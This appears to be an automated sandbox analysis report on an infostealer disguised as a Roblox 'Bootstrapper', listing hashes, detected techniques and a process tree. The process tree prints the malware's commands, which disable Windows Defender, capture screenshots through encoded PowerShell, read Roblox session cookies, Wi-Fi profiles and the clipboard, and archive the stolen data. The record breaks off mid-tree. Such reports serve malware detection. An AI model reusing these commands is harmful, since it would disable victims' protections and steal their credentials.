Analysis

  • max time kernel
    92s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2025, 18:56

General

  • Target

    Bootstrapper_v3,17.exe

  • Size

    7.5MB

  • MD5

    3ea0aeead230da875bedd31537fcbc62

  • SHA1

    c260e354d3a8ffeeeb6afb0b126c7940f87d10b6

  • SHA256

    7ff6f9e74cfb20dc94e9411e75ed1517c95eecb7633ebcb97d8b90ba789bbfa5

  • SHA512

    c4b4813075360dea0bf470fc0aef02c83e5b4dffac0b2a26e18a7732557f32f0e05f6d21dba76494e56de91ca7d1548fb7f07a761450bf91cdb9bf31c34ef380

  • SSDEEP

    196608:2CgFI3wfI9jUC2gYBYv3vbWY+iITm1U6fd1EI:OFxIH2gYBgDW/TOzb/

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 61 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe
    "C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe
      "C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bootstrapper_v3,17.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4452
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4356
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please Downgrade Solara To v2,17 On This Machine', 0, 'Error', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please Downgrade Solara To v2,17 On This Machine', 0, 'Error', 0+16);close()"
          4⤵
            PID:3568
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2456
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3520
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2064
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2924
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:4116
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1376
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:5048
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1404
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4948
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4864
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:4720
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎    .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3940
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎    .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2172
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3052
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:756
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4312
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4448
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:2876
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:4648
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:4780
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1964
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:3064
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:4788
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:3552
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:5040
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:3892
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:2120
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:5060
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:4832
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          3⤵
                            PID:3292
                            • C:\Windows\system32\reg.exe
                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                              4⤵
                                PID:2572
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:996
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2284
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5ymvx3fr\5ymvx3fr.cmdline"
                                    5⤵
                                      PID:4356
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9441.tmp" "c:\Users\Admin\AppData\Local\Temp\5ymvx3fr\CSC1476DFCD47EE43C1AB549090D82F3944.TMP"
                                        6⤵
                                          PID:2680
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                    3⤵
                                      PID:404
                                      • C:\Windows\system32\attrib.exe
                                        attrib -r C:\Windows\System32\drivers\etc\hosts
                                        4⤵
                                        • Drops file in Drivers directory
                                        • Views/modifies file attributes
                                        PID:784
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:660
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:2224
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:2052
                                            • C:\Windows\system32\attrib.exe
                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                              4⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:1992
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:2920
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:2716
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:4960
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    PID:4452
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:3880
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:1836
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:3516
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:1284
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:4768
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:1340
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:2264
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:2032
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:660
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:4732
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:1964
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      4⤵
                                                                        PID:2716
                                                                      • C:\Windows\system32\getmac.exe
                                                                        getmac
                                                                        4⤵
                                                                          PID:3328
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI16922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\CFE4f.zip" *"
                                                                        3⤵
                                                                          PID:3484
                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI16922\rar.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\_MEI16922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\CFE4f.zip" *
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:1056
                                                                        • C:\Windows\system32\cmd.exe
